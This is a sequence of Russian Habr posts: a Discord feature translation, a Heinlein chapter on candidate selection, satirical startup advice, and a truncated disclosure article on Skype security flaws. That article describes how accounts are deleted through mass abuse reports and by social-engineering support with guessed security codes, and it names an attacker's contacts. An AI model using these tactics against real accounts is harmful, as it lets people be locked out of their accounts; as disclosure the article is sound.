Мы сделаем это. Пытаетесь разработать в качестве хобби игру на Unity и нуждаетесь в небольшом вдохновении в плане дизайна уровней? Посмотрите это: Как вы видите, результаты поиска будут заполнять правую колонку. Вы можете просматривать их, разворачивать их, чтобы увидеть контекст, и даже прыгать к ним в основной чат, чтобы получить полный контекст. Всё это работает супер-гладко, как-будто это трижды отфильтрованное кокосовое масло (которое, кстати, является хорошим лосьоном для бриться). В любом случае, поиск действительно, действительно близок. Некоторые из вас, возможно, магическим образом уже получили его в своих приложениях ещё до того как он официально запустится, в то время пока мы продолжаем сглаживать последние биты. Скриншаринг и видео чат Вы всё правильно прочитали. Скриншаринг и видео чат — это то, насчёт чего мы постоянно шутим, просто не беспокойтесь насчёт этих слов, если вы уже смотрели ранее на картинки. Просто продолжайте смотреть. Видео чат (кликабельно) Вместе с текстовым чатом В режиме полного экрана Каждая персона в группе может принять решение о отображении его экрана или его видеокамеры. Если только одна персона расшаривает экран, его экран будет видом по умолчанию в чате. В ином случае приоритет будет отдаваться тому, кто говорит в данный момент. Вы также сможете выбрать тех, кого вы хотите посмотреть, кликнув на его поток. Подобное поведение должно быть очень знакомо для тех, кто уже использовал ранее платформы для скриншаринга. Но, конечно же, мы добавим туда сока от нашего секретного соуса, приготовленного нашей собственной персоной. Вам придётся немного подождать и посмотреть, несмотря на ~тайну~ . Логи аудита Хотите знать, кто кикнул BigBootieTootie2? Стойте, кто изменил название топика? КТО ДАЛ БРАЙАНУ РОЛЬ «НЕВЕЗУНЧИК»?!?! Логи аудита показывают вам записи всех административных действий для тех, кто имеет достум к настройкам сервера. Вы также можете отфильтровать информацию по любому действию и пользователю для того чтобы углубиться в своей слежке за логами. Вы найдёте следующие события: — Редактирование сервера — Создание, обновление и удаление каналов — Создание, обновление и удаление ролей — Удаления и баны участников (с причинами) — Обновления никнеймов «Discord, у тебя новая причёска!» . Да, наши настройки сервера обновятся тоже. Они будут полноэкранными и супер-горячими. Тем не менее, я припасу картинку для развития вашего воображения ;) Категории для каналов Обратите внимание, что это наименее развитая фича из представленных здесь. Она вполне может измениться. Знаете ли вы, что люди любят писать друг другу через Интернет? И что они хотели бы делать это в организованном порядке? Чтобы успокоить все эти народные волнения, мы добавим возможность организации ваших текстовых и голосовых каналов в сворачиваемые категории. Категории «Play testing» и «Music» на идущем далее изображении в данный момент свёрнуты. Это позволяет владельцам сервера организовать их каналы и позволяет членам сервера лучше фокусироваться на том, о чём они заботятся. Вы можете также применить права доступа на уровень категории канала, которые будут применены на все каналы внутри этой категории. Эффективное :ok-hand: Ну, это совсем шведский стол выстроился для вас, ребята, в начальном 2017-м. Мы в восторге от того, что можем показать вам всё это, и я надеюсь, что вы действительно сможете использовать всё это в ближайшем будущем. Ближущее. Новое слово. Не берите в голову, я ненавижу его. Как обычно, пожалуйста, дайте знать нам о своём мнении о наших фичах (не о моих ужасных шутках, избавьте меня от этого) через твиты на @discordapp или скидывая их на support@discordapp.com. Мы будем рады предоставить вам худшие мемы и возможно лучший игровой опыт вместе с общением в 2017-м. P.S. Далее текст от автора перевода. Хочу написать своё личное мнение о плюсах и минусах данного инструмента. Плюсы: — Очень качественная аудио связь. Честно, лучшее, что я видел в своей жизни. Прекрасно работает даже при большом количестве собеседников. — Приятный тёмный дизайн, который располагает к спокойной работе. — Возможность создать свой собственный сервер и очень гибко настроить его именно так, как пожелает ваша душа организация: создать любые роли и права доступа, дать доступ к нужным чатам только нужным ролям, запретить писать в определённые чаты… И так далее. — Джойпег картинки не теряют качество при загрузке, как это происходит в телеграм — Можно на каждом сервере ставить разные ники разным людям, очень помогает на самом деле — Поддержка маркдауна и подсветка исходников — Очень быстрый клиент, который почти не ест ресурсы компа (привет тормозным скайпу и слеку) — Очень удобное переключение между серверами — Возможность звонить друзьям как в скайпе и вацапе Минусы — Ограничение на размер загружаемого файла в 8мб
https://habrahabr.ru/post/317982/
habrahabr
Перевод отрывков из книги Роберта Хайнлайна «Заберите себе правительство» — часть 19
['политика', 'хайнлайн']
Конечно, вы можете не заниматься всеми этими связанными с кокусом хлопотами, а просто собрать вместе сторонников мистера Честняги, сформировать из них предвыборный комитет, и выдвинуть кандидатуру....
Конечно, вы можете не заниматься всеми этими связанными с кокусом хлопотами, а просто собрать вместе сторонников мистера Честняги, сформировать из них предвыборный комитет, и выдвинуть кандидатуру. Но так у вас не очень много шансов выиграть выборы. Проведение кокуса и в самом деле стоит потраченных на него сил и времени, и решение кокуса в пользу вашего кандидата многократно увеличит его шансы выиграть выборы. А в случае решения не в вашу пользу – остановит вас на дальних подступах, до начала предвыборной кампании, которую, при таком раскладе, не стоит даже и начинать. Но почему вы выбрали для выдвижения именно мистера Честнягу? Потому что считаете, что он подходит на оспариваемый им пост, и при выборе вы руководствовались тремя главными критериями: кандидат, по вашему мнению, подходит для должности, на которую он будет выдвигаться; у кандидата есть время и возможность работать в должности; и у него есть шансы победить на выборах. Приоритеты должны быть расставлены именно в этом порядке. То, что кандидат подходит для должности означает, что вы видели его в реальной общественной работе. Например, в решении правовых, профсоюзных, международных, национальной безопасности, налоговых проблем, вопросов контроля атомных вооружений, прав военнообязанных призывников, и тому подобных вопросов. При этом мнение вашего кандидата по этим проблемам не должно противоречить политической программе вашей партии, а значит, и вашим собственным убеждениям. Кроме того вы уверены, что будучи у власти он будет действовать мудрее, чем ваши партийные коллеги в прошлом, потому что вы хотите улучшить свою страну, а не оставить все как есть. Выбирайте кандидата среди своих знакомых по политической работе, потому что весьма сомнительно, что подходящая персона найдется в числе тех, кто не утруждает себя политическими проблемами, и неважно, насколько они при этом умны и талантливы в других областях. К сожалению, у очень немногих людей достигших высот в других областях, появляется политический зуд и желание что-то изменить в своей стране. Не принимайте во внимание тех, кто хочет начать политическую карьеру сразу с высоких постов. Подходящий кандидат должен иметь за плечами годы неоплачиваемой общественной работы, даже если это не политическая деятельность. Это может быть работа присяжным, участие в обустройстве города, движении бойскаутов, борьбе с расовыми предрассудками. Не выдвигайте известных людей, не участвующих в общественной работе, даже если их имя есть в справочнике «Кто есть кто», и они готовы полностью профинансировать избирательную кампанию. У вас также не должно быть никаких сомнений относительно честности и личностных качеств кандидата. Известный журналист Генри Менкен однажды заметил, что оценить человека можно по тому, чем он зарабатывает себе на жизнь. Я не совсем с ним согласен, в той части, что оценивать нужно исключительно таким образом, но то, что бизнес человека характеризует его личность – это факт. Так что, посмотрите, чем ваш кандидат зарабатывает на жизнь. Честный ли это бизнес, с вашей точки зрения? Узнайте о его репутации среди конкурентов. Если, скажем, он адвокат – за какие дела он берется? Если доктор – как выглядит его практика, уделяет ли он время благотворительной работе? Если он держит ресторан, опрятная ли там кухня? Какова его политика в отношении получаемых официантами чаевых? В некоторых видах бизнеса недобросовестность настолько распространена, что человека будут считать буквально святым, если он работает честно. В любом случае – тщательно проверьте вашего кандидата (я однажды совершил ужасную ошибку, не сделав этого, последствия были такие нелицеприятные, что я решительно отказываюсь их здесь излагать). В числе всего прочего, кандидат должен уметь примиряться и уметь сотрудничать. Не обременяйте себя поддержкой человека негибкого, ссорящегося со всеми, и нежелающего идти на компромиссы. Убедитесь, что кандидат понимает, что общество наделяет его властью для того, чтобы он работал на благо общества, прислушивался к мнению тех, кто его поставил на пост, и отвечал перед ними за свои действия. Убедитесь также, что он уверен в вашей способности успешно провести избирательную кампанию, и во время кампании будет вести себя, согласно вашим планам – к этому свойству мы еще вернемся в пункте о том, как оценить кандидата с точки зрения вероятности его победы на выборах. Претендент также должен обладать теми качествами, которых ожидают от конгрессмена – недюжинным умом, хорошим образованию, и богатым жизненным опытом. Самое важное из всех трех упомянутых качеств – это ум. Теперь поговорим о наличии у претендента возможности работать в правительстве. Это может стать камнем преткновения при выборе кандидата. Для начала, претендент должен иметь возможность все свое время посвятить предвыборным кампаниям – три месяца перед праймериз и три месяца – перед основными выборами. В случае победы на выборах, ему придется поручить кому-то вести свой бизнес, и уехать в столицу. Таким образом, вопрос заработка на жизнь отсеивает на этом этапе не менее 90 процентов лучших кандидатур на правительственные посты, сомнительно, что человек, имеющий семью и работающий по найму, в течение полугода сможет тратить все свое время на кампанию. В этом плане более перспективны пенсионеры, домохозяйки, молодые холостяки, рантье, и люди свободных профессий, такие как актеры, писатели, адвокаты, лекторы, и так далее. Иногда это фермеры, школьные учителя и независимые предприниматели, умудрившиеся устроить свои дела и освободить время для кампании. Изредка, наемные работники могут договориться с нанимателем и взять отпуск за свой счет. Но чаще всего вы услышите в ответ на предложение выдвигаться в кандидаты что-то вроде: «Спасибо за такое лестное предложение, я бы согласился, но мне надо кормить семью». Именно поэтому, в правительстве на выборных постах так часто можно увидеть юристов. У них есть своя клиентура, они могут организовать свою работу таким образом, что их заработок не пострадает. Однако, при этом, юристы почему-то совершенно не умеют писать законы. Если же ваш выбор остановится на домохозяйке, то наем домработницы, ведущей за нее домашнее хозяйство, составят часть сметы расходов избирательной кампании. Кстати говоря, возможность тратить время на избирательную кампанию должна быть и у вас – управляющего кампанией. Если вы женщина, то возможно вам легче будет выкроить на это время. Но я бы не советовал заниматься кампанией по совместительству с основной работой, ни выдвигаемому кандидату, ни управляющему его кампанией, это можно делать разве только при каких-то, совершенно исключительных и непреодолимых обстоятельствах. Потому что в этом случае вы будете работать на износ, и накопившаяся усталость может привести к принятию вами неудачных решений, и вашей физической неспособности работать в течение всей кампании. Для управляющих и кандидатов кампания является тяжелой проверкой на выносливость, в отличие от агитаторов и других волонтеров, для которых кампания является приятным воодушевляющим хобби. А теперь поговорим о способности выиграть выборы. Наивысшие шансы выиграть выборы имеет сильный здоровый мужчина, от тридцати до тридцати пяти лет, ветеран, фронтовик, симпатичной, но не чересчур гламурной внешности, среднего роста, хороший оратор, дружелюбный, не чересчур агрессивный, женатый, имеющий как минимум одного ребенка, хорошо известный и уважаемый в местном обществе, церковный прихожанин, имеющий опыт работы в государственных учреждениях и опыт участия в выборах (первое не означает автоматически второго: должность, на которой работал кандидат, могла быть назначаемой), давно числящийся в вашей партии, и не возражающий против того, чтобы его предвыборной кампанией управляли другие. Лично я такого кандидата в своей жизни не встречал. Более того, одним из лучших кандидатов, которого я встречал, была бездетная, косноязычная, безобразная как лошадь, и никому не известная женщина семидесяти лет. Зато у нее был сильный характер, и она была такой честной и альтруистичной, что при общении в ней сразу чувствовались эти качества Так что ни одно из перечисленных качеств идеального претендента не является необходимым для кандидата на выборы. Даже Святого Петра могли бы выбрать в мэры Ада, при хорошей организации его кампании. Так что если ваш кандидат не тушуется на людях, подходит для выборной должности, и имеет возможность на ней работать, то его можно выдвигать на выборы, даже если он не обучен хорошим манерам. Совершенно неподходящим для выдвижения, кандидат обычно оказывается только из-за своих деловых качеств для работы на том посту, на который он избирается. Каждое отклонение вашего претендента от качеств идеального кандидата, несколько усложнит работу над предвыборной кампанией, однако ваши соперники столкнутся с той же проблемой при выдвижении кандидата. И вероятно, они так озаботятся поиском кандидата, идеального для выборов, что обратят гораздо меньше внимания на другие, более важные его качества, и станут уязвимы в этом аспекте. Например, их прекрасный на вид кандидат может оказаться жуликом, в прошлом осужденным за мошенничество. Самым же главным критерием при выборе кандидата, способного быть выбранным, тем критерием, который доставит вам немало бессонных ночей, является его жизненный опыт. Первое участие в выборах не похоже ни на что другое. «Нервная невеста» — самый подходящий эпитет для кандидатов-перворазников, однако я видел много невест, который ничуть не нервничали. Что же касается неопытных кандидатов, то они волнуются всегда. Бьюсь об заклад, вы никогда не встретите баллотирующегося в первый раз в своей жизни кандидата, который не нервничал бы. Иногда мне даже кажется, что первое участие в выборах вызывает у кандидатов особое нервное расстройство, которое я называю «кандидатис». Неопытные управляющие предвыборной кампании могут также страдать этим расстройствов, в более мягкой форме — если только ранее не приобрели иммунитет в ходе предвыборной агитации и хождения по избирателям. Этот кандидатис очень похож на ветрянку: им легко заражаются, и, переболев, приобретают к нему иммунитет. И кандидатисом также лучше переболеть в как можно более юном возрасте, когда болезнь протекает гораздо легче, без осложнений. Симптомы кандидатиса таковы: исключительная нервозность, раздражительность, подозрительность, доходящая до степени мании преследования, и направленная совсем не на того, кого надо опасаться, свойство языка говорить отдельно от головы, особенно на публике, когда это может причинить максимум вреда репутации, и почти детская склонность действовать вопреки всем советам и наставлениям. Один из кандидатов на президентских выборах 1940 года, покойный Уэнделл Уилки, вполне мог выиграть выборы, будучи во всех отношениях почти идеальным кандидатом. К тому же, его предвыборная кампания хорошо финансировалась и управлялась командой лучших политтехнологов страны. Его сторонники горели энтузиазмом, а его соперникам приходилось работать в трудных условиях, потому что их кандидат уже отработал два президентских срока, а сложившаяся в стране традиция не поощряла нахождение у власти больше двух сроков подряд, хотя, конечно, правящему президенту легче выдвигаться кандидатом. Хотя, на выборах национального масштаба нахождение кандидата у власти не так полезно, как оно бывает полезно на выборах местного уровня. Но все эти преимущества были потеряны, а кампания – проиграна в результате совершенно провального тура мистера Уилки по стране. Бывшие при нем журналисты признавались, что им иногда казалось, что мистер Уилки сам вредил себе при каждом удобном случае. Обратите внимание на то, что это были его первые выборы. И на то, что после этих, неудачных для него выборов, он научился гораздо лучше держаться на публике, став тем умудренным государственным деятелем, каким мы его помним, немало поспособствовавшим сплоченности и хладнокровной мудрости, проявленной нашей нацией в военное время. Я думаю, что именно во время тех президентских выборов мистер Уилки переболел кандидатисом. Так что если у вас есть кандидат, которого вы через год-два планируете выдвинуть на выборы в конгресс, или на какой-то важный правительственный пост, ему полезно поучаствовать в каких-нибудь выборах не очень крупного масштаба, скажем, на пост главы отдела подочистки, заведующего отловом бродячих собак и кошек. Это подготовит кандидата к будущей борьбе за важный пост. И одно замечание от себя: я заметил, что для иллюстрации своих слов использовал в этой книге три случая, в каждом из которых кандидат в президенты от Республиканцев проиграл выборы. Это не умышленная предвзятость к одной из партий, просто все три случая очень показательны. ← Часть 1, где есть ссылки на все остальные части
https://habrahabr.ru/post/317990/
habrahabr
Вредные советы для Вашего стартапа
['development', 'administration', 'devops', 'стартап']
Третья часть "Истории одного стартапа" задерживается из-за внезапно случившихся праздников (кто не читал — здесь начало), вот вам пока набор вредных советов. С "Историей ..."...
Третья часть "Истории одного стартапа" задерживается из-за внезапно случившихся праздников (кто не читал — здесь начало), вот вам пока набор вредных советов. С "Историей ..." они никак не связаны, просто наблюдения за разными проектами в которых довелось поучавствовать мне, или моим коллегам. Совет №1. Берите вычислительных мощностей с запасом. Ведь ваше приложение — это прорыв в индустрии, и количество посетителей будет зашкаливать через два часа после релиза на Google Market / App Store. Берите сервер под рекламный сайт и сервер под контроллер Ansible, а также следуйте рекомендациям производителей программного обеспечения о том, что деплой на меньше, чем три сервера — это не продакшн-уровень. Совет №2. Пользуйтесь как можно большим количеством SaaS. Желательно — с отсутствием простого механизма переезда с этого SaaS на собственный хостинг. Идеально — решение должно быть платным с некоторым ознакомительным периодом, после которого отключается большая часть функционала. Ведь приложение "уже-почти-вот-вот-готово", размещение в Google Market / App Store занимает пару часов, а потом вы сразу заработаете столько денег, что хватит на оплату всех аккаунтов, и на пиво останется. Совет №3. Пользуйтесь облачными вычислительными мощностями. Ведь когда у вас приложение в облаке — вам не нужен ни архитектор, ни DevOps, в облаке приложение будет само масштабироваться, что уменьшит ваши эксплуатационные расходы. Совет №4. Когда выяснится, что не так всё просто с облаками — выдайте программистам задачу спроектировать архитектуру приложения с учётом масштабирования, и автоматизировать развёртывание. Не слушайте их робкие намёки на то, что было бы неплохо взять в команду хоть какого-нибудь админа — у вас же всё в облаке, там сервера сами знают, когда нужно стартануть, когда остановиться, и где хранятся данные вашего приложения. А если не знают — есть Ansible, для использования которого вообще не нужно знать о том, что такое "системное администрирование". Знай, конфиги на YAML шлёпай. Совет №5. Сделайте неотключаемый мониторинг исключений в коде. Ведь вам всегда будет очень важно знать, сколько именно push-сообщений не было доставлено за период "в этот день, час, минуту и секунду два года назад". Данные складывайте в облачный SaaS сервис со своим API — ведь хранить такой объём в обычных файлах это прошлый век и дорого. Совет №6. Никогда не реализуйте мониторинг на уровне операционной системы. Ведь если перестанет работать приложение — вы это и так увидите (оно ведь запущено у вас на телефоне / во вкладке браузера 24 часа в сутки), а графики загрузки процессора и использования памяти можно посмотреть в веб-интерфейсе управления вашим облаком. Совет №7. Когда кто-то из команды аккуратно намекнёт на ненужность 60% телодвижений уже сделаных в проекте, и что "может ну его, давайте для начала поселимся на виртуалке пожирней" — отмахнитесь, а то и перестаньте работать с человеком, ибо он некомпетентен. Помните, без High Availability, Big Data и Scalability не выживает ни один стартап. Ну и делитесь своими вредными советами в комментариях, что ли...
https://habrahabr.ru/post/317998/
habrahabr
Как Skype уязвимости чинил
['skype', 'информационная безопасность', 'abuse', 'вкачиватели']
Короткий ответ: никак, им пофиг. В статье описываются мои безуспешные попытки убедить сотрудников Microsoft, что их сервис уязвим, а также унижения, которые приходится выносить пользователям...
Короткий ответ: никак, им пофиг. В статье описываются мои безуспешные попытки убедить сотрудников Microsoft, что их сервис уязвим, а также унижения, которые приходится выносить пользователям Skype. Под катом невежество, боль и отчаяние. UPD Статья на английском hub.zhovner.com/geek/how-skype-fixes-security-vulnerabilities/ Пост на HackerNews news.ycombinator.com/item?id=13227480 TL;DR: Любой может заблокировать ваш аккаунт навсегда так, что вы больше не сможете им пользоваться. Для этого достаточно знать только имя аккаунта. В большинстве случаев Skype откажет вам в восстановлении доступа. Microsoft знает об этой проблеме несколько лет. Механизм генерации восьмизначных одноразовых кодов аутентификации (Microsoft Security Code), которые используются для восстановления пароля к аккаунту Microsoft, уязвим. Атакующий может угадать код. Техподдержка Skype уязвима для атак социальной инженерии. Microsoft считает это нормальным. Техподдержка Skype не знает, что на самом деле происходит с вашим аккаунтом, и почему он заблокирован. В любом случае вы получите стандартный ответ, что ваш аккаунт заблокирован за нарушение правил, даже если аккаунт был удален по вашему запросу. Skype по-прежнему раскрывает ваш IP-адрес, в том числе и локальный (тот, что на сетевом интерфейсе). В некоторых случаях возможно раскрытие контактов, подключенных с того же внешнего IP-адреса, что и вы. Например, членов семьи, подключенных к домашнему роутеру. Атакующий может скрыть активную сессию из списка авторизованных клиентов (команда /showplaces ) используя старые версии SDK. Таким образом, зная пароль, можно незаметно просматривать переписку жертвы. Обо мне Я пользуюсь скайпом около десяти лет. Раньше я мог назвать себя настоящим фанбоем скайпа. Когда был доступен публичный баг-трекер jira.skype.com, я активно пытался улучшить Skype, рапортовал о багах. Например, SCW-2778 Remote DoS exploit. Эта уязвимость позволяла удаленно обрушить десктопную версию Skype для Windows так, что программа не запускалась без очистки истории. Или SCW-3328, которая позволяла удаленно включить отключенный микрофон во время звонка. Уже тогда Skype настораживал своим подходом к исправлению багов. Мне приходилось буквально умолять разработчиков исправить проблему, которую не могли починить годами! Вот как это выглядело. Я пользовался всеми продуктами Skype, инструментами для разработки Skype4Com, Skypekit. Покупал premium-подписки. Продвинул на работе идею купить Skype For Business. Писал ботов, сервис для генерации собственных смайлов и т.д. Но сегодня могу сказать, что я искренне ненавижу Skype. Это отвратительный сервис, погрязший в бюрократии и невежестве сотрудников, абсолютно игнорирующий проблемы и занятый только созданием 3D Видеосмайлов. На сегодняшний день Skype не просто не безопасен, он представляет угрозу для пользователей , потому что его механизмы обеспечения безопасности не работают. Хронология событий Уже на протяжении нескольких лет существуют уязвимости, приводящие к блокировке произвольного Skype-аккаунта. Их несколько, ими активно пользуются злоумышленники и предоставляют в качестве сервиса. Раньше я много писал про уязвимости скайпа, и ко мне стали обращаться жертвы блокировок, которые находили меня через поиск. Я видел разные случаи блокировок Skype-аккаунтов. Пытался помочь людям восстановить доступ и умолял Skype сделать с этим хоть что-то. Обычно это были блокировки через массовые жалобы. Это давно известный способ, который существует уже много лет. Он настолько старый, что стал частью детской субкультуры, ведущей войны друг с другом в Skype. Но за последний год случилось нечто вопиющее, о чем я не могу молчать. Способ 1 — абузы (классический) В Skype аккаунт блокируется автоматически, если на него поступило достаточное количество жалоб от других пользователей. Предположительно, более 20 штук. Для того, чтобы отправить жалобу, не нужно даже добавлять аккаунт в контакт-лист, это можно сделать, найдя аккаунт через поиск и кликнув «заблокировать → сообщить о нарушении». Таким образом, жертва может не знать об отправленных в ее адрес жалобах. Этой технике уже много лет. О ней писали на Хабре , о ней знают даже дети, которые собираются в группы для совместного накручивания жалоб. Вот, например, найденные беглым поиском по vk.com: vk.com/block_pidaram_skype vk.com/skype_delete vk.com/blacklistskype vk.com/blockskyp vk.com/eds_snos vk.com/club58649499 vk.com/club49404483 Таких сообществ много и в самом Skype. Существует даже отдельная субкультура «вкачивателей». Обычно это дети 12-19 лет, которые объединяются в кланы. Суть их деятельности состоит в максимальном нанесении вреда оппоненту, который выбирается случайным образом. Основные баталии происходят в виде словесных дуэлей в групповых звонках. Смысл в том, чтобы максимально унизить собеседника за короткий период времени и зафиксировать это на видео. Видеозаписи дуэлей (Осторожно: мат и крики) www.youtube.com/watch?v=F3mDFk5m_Hs www.youtube.com/watch?v=cwNixaAML4I www.youtube.com/watch?v=zWhCcqTnjxw Запечатлен момент блокировки skype-аккаунта www.youtube.com/watch?v=4vhy-J-kQtk Некоторые кланы вкачиваетелей выпускают свой фирменный софт для автоматизации вредоносной деятельности. Демонстрация программы для массовой рассылки жалоб (Видео) . Получается подобие ботнета из собственного контакт-листа, который добровольно абузит присланные аккаунты. Напомню, что для жалобы не нужно добавлять аккаунт жертвы к себе в контакты. То есть на вас может пожаловаться сотня школьников, с которыми вы никогда не общались, и вы этого не узнаете. Я лично знаю десяток жертв, чьи аккаунты были удалены таким образом. На все обращения в поддержку Skype отвечают стандартной отпиской: I understand that your Skype account was blocked. I apologize for any inconvenience that this may have caused, but I will be more than happy to look into this for you. Our automatic systems detected that activities which are contrary to Skype’s Terms and Conditions have taken place via your Skype account. As a result, your account has been restricted and will remain restricted until further notice. Перевод Я понимаю, что ваш аккаунт был заблокирован, и извинюсь за доставленные неудобства. Я буду БОЛЕЕ ЧЕМ СЧАСТЛИВ посмотреть, чем я могу помочь. Наша автоматическая система определила, что вы чмо и нарушаете все правила. Поэтому мы удалили нафиг ваш аккаунт, до свидания. Угадайте, исправлена ли эта уязвимость на текущий момент? Конечно же нет! Блокировка через техподдержку Осенью 2015 года мне стали писать люди, пострадавшие от нового вида атаки. На этот раз перед блокировкой аккаунта жертве приходили письма от Microsoft с восьмизначным кодом. Письма были отправлены с ящика verifyme@microsoft.com и имели корректную DKIM-подпись, то есть были точно от Microsoft. Проведя с друзьями собственное расследование, мы нашли исполнителя атаки. Его объявлениями были заполнены все форумы для малолетних кулхацкеров. Вот его реквизиты: ICQ: 676061500 Skype: alaaasddsa1.as Jabber: block_service@xmpp.jp Вот одно из объявлений удалятора: Чтобы проверить, как происходит удаление, я заказал у него удаление моего тестового аккаунта. Для чистоты эксперимента были соблюдены такие условия: Аккаунт был зарегистрирован на свежесозданный почтовый ящик, никак не связанный с аккаунтом. Угадать или найти почту от аккаунта в открытых источниках было невозможно. Был установлен сложный пароль из длинной последовательности цифр и букв в разном регистре В контакт-листе были добавлены только доверенные контакты. Аккаунт не состоял в конференциях и почти не использовался для переписки и звонков На протяжении всего процесса удаления я мониторил почтовый ящик и был авторизован в десктопном Skype клиенте. Через несколько часов после оплаты на почту посыпались письма с Microsoft Security Code, как на скриншоте выше. За 10 часов пришло 24 письма с кодами. Забегая вперед скажу, что атакующий в итоге угадывал код подтверждения. Вот все коды из писем, пришедшие за время атаки, с привязкой ко времени получения письма. Видно, что отправка происходит короткими всплесками в пределах нескольких минут. Microsoft Support Code: 41917837 Fri, 26 Feb 2016 04:25:54 -0800 (PST) Microsoft Support Code: 14793784 Fri, 26 Feb 2016 04:27:32 -0800 (PST) Microsoft Support Code: 58837293 Sat, 27 Feb 2016 03:29:18 -0800 (PST) Microsoft Support Code: 68871688 Sat, 27 Feb 2016 03:29:33 -0800 (PST) Microsoft Support Code: 38424446 Sat, 27 Feb 2016 03:30:33 -0800 (PST) Microsoft Support Code: 25068066 Sat, 27 Feb 2016 03:35:39 -0800 (PST) Microsoft Support Code: 27311897 Sat, 27 Feb 2016 03:58:58 -0800 (PST) Microsoft Support Code: 93194445 Sat, 27 Feb 2016 04:02:43 -0800 (PST) Microsoft Support Code: 32506812 Sat, 27 Feb 2016 04:03:36 -0800 (PST) Microsoft Support Code: 33627494 Sat, 27 Feb 2016 04:05:40 -0800 (PST) Microsoft Support Code: 98350414 Sat, 27 Feb 2016 09:00:03 -0800 (PST) Microsoft Support Code: 12437217 Sat, 27 Feb 2016 11:41:04 -0800 (PST) Microsoft Support Code: 42078695 Sat, 27 Feb 2016 11:42:45 -0800 (PST) Microsoft Support Code: 41321028 Sat, 27 Feb 2016 11:43:09 -0800 (PST) Microsoft Support Code: 44964659 Sat, 27 Feb 2016 11:43:19 -0800 (PST) Microsoft Support Code: 90692933 Sat, 27 Feb 2016 12:50:21 -0800 (PST) Microsoft Support Code: 23696204 Sat, 27 Feb 2016 12:55:18 -0800 (PST) Microsoft Support Code: 60212551 Sat, 27 Feb 2016 12:55:25 -0800 (PST) Microsoft Support Code: 81725942 Sat, 27 Feb 2016 12:58:04 -0800 (PST) Microsoft Support Code: 29172590 Sat, 27 Feb 2016 14:26:54 -0800 (PST) Microsoft Support Code: 28091548 Sat, 27 Feb 2016 14:30:38 -0800 (PST) Microsoft Support Code: 55969586 Sat, 27 Feb 2016 14:54:21 -0800 (PST) Microsoft Support Code: 12424717 Sat, 27 Feb 2016 14:57:59 -0800 (PST) Microsoft Support Code: 36300450 Sat, 27 Feb 2016 14:58:16 -0800 (PST) После того, как письма прекратились, в профиле аккаунта удалились личные данные (имя, фамилия, пол). Остался только логин. В настройках аккаунта на сайте skype.com почтовый ящик сменился с моей почты на deleted@skype.com. Меня разлогинило из десктопного клиента. На тот момент мы имели следующие данные: Атакующий не знает почту от аккаунта. Учитывая предыдущие инциденты со взломом аккаунтов, от которых была известна почта, можно было предположить похожую атаку. Пароль от аккаунта достаточно надежен и подбор исключен. Запросов авторизации от незнакомых контактов не происходило. В Skype-клиенте никакой активности не было. Атакующий никак не контактировал с жертвой. Из этого не было понятно, как именно происходит удаление. Не удавалось найти форму, которая генерирует письма с Microsoft Security Code. Ничего не оставалось, кроме как пытаться выудить информацию у взломщика. Мы с друзьями продолжили заказывать удаление тестовых аккаунтов, и в один момент взломщик, в качестве доказательства выполнения атаки, показал скриншот, на котором оператор техподдержки подтверждает, что аккаунт успешно удален: Имя аккаунта заблюрено . Это была форма Live Chat Support, доступная аккаунтам с подпиской. Найти ее можно на сайте skype.com, пройдя несколько раз мастер решения проблем. Если выбирать все время «проблема не решена», то на последнем шаге предлагается открыть чат. Чат открывался со стороннего домена https://sales.liveperson.net . Из описания на сайте видно, что это сторонняя компания, предлагающая услуги поддержки для вашего продукта. В итоге процедура удаления аккаунта через чат тех. поддержки выглядела так: Атакующий говорит: «Пожалуйста, удалите мой аккаунт accountname , потому что я завел другой. Оператор просит подтвердить владение аккаунтом, назвав код, который был выслан на почту, привязанную к аккаунту. При этом оператор не называет почты, а только ожидает правильный код. После того, как оператор получит правильный код, аккаунт удаляется. При этом оператор соглашается выслать код повторно несколько раз и не возражает, если названный ему код не подходит. Забавно, что в форму чата с поддержкой передается логин, под которым был авторизован клиент на skype.com. То есть оператор, в теории, должен видеть, с каким именно пользователем он общается. От того особенно странно, что можно назвать совершенно любой аккаунт для удаления и оператор послушно согласится начать процедуру удаления. В этот момент все еще неясно, как конкретно атакующий успешно завершает процедуру удаления. Эй, Microsoft! Уязвимость очевидна. Бежим кричать тревогу в Skype. Ведь такую серьезную уязвимость обязательно должны исправить, не так ли? Так как у Skype нет каких-то публичных контактов для сообщений об уязвимостях, пробую написать на форум. Никто не реагирует, зато в теме отметились другие жертвы этой атаки. Через друзей мне удалось связаться напрямую с сотрудниками Microsoft. Я подробно описал все этапы уязвимости, приложил скриншоты, листинги кодов. Меня заверили, что начато внутреннее расследование. Серьезная компания ведь. Однако спустя месяц ко мне снова обратились новые жертвы этой атаки. Сотрудники Microsoft сообщили, что расследование еще не закончено. Пробую написать в secure@microsoft.com . Это специальный ящик для быстрого реагирования на критические уязвимости. Гарантируется ответ в течение 24 часов. В письме я подробно описываю этапы удаления аккаунта со скриншотами. Ответ Microsoft Security Response Center: Вольный перевод: это не уязвимость, вы просто дурак. Раз в неделю я спрашивал, как продвигается расследование у ребят из Microsoft, на что получал ответ, что результата нет. Так продолжалось около ШЕСТИ МЕСЯЦЕВ !!! . Было достоверно известно, что атакующий называет правильный код оператору. Иногда со второй-третьей попытки. Стыдно признаться, но мне так и не удалось выяснить как, именно это происходило. Сперва мне казалось, что код генерируется от времени, и поэтому атакующий пытается запросить как можно больше кодов в течение одной минуты, что видно по времени получения писем, но я не смог найти зависимости кода от времени. Возможно, был уязвим сам сервис чатов liveperson.net. Недавно Skype отказались от сервиса liveperson.net, и чат с агентом поддержки происходит на домене microsoft.com. Процедура удаления скайп-аккаунта теперь недоступна оператору тех. поддержки, и ее нужно выполнять самостоятельно через форму . Наверное, тут вы подумаете, что уязвимость закрыта. Как бы не так. Эксперимент — умереть за ваши грехи Спустя год после описанных выше событий, ко мне снова обратились жертвы нашего удалятора скайпов. Теперь письма с Security Code не приходили, очевидно был найден другой способ. Признаться, мне вся эта история уже порядком надоела. Я устал умолять, унижаться и выпрашивать исправить уязвимости по многу месяцев. Как я уже говорил, я пользуюсь скайпом около десяти лет. Моему основному аккаунту zhovner примерно столько же. Мне показалось, что будет нечестно только смотреть на страдания других людей, не пережив этого самому. Тогда я решил провести эксперимент и заказать сразу удаление своего аккаунта. Заказ удаления Стоимость работ — 2 тысячи рублей (примерно $30). На этот раз удалятор обозначил три дня на выполнение работы. И действительно, через несколько дней меня разлогинило из скайпа, и больше я не мог в него войти. Общение с техподдержкой Skype Сразу после блокировки аккаунта я написал в техподдержку Skype. Предположив, что аккаунт был заблокирован старым добрым 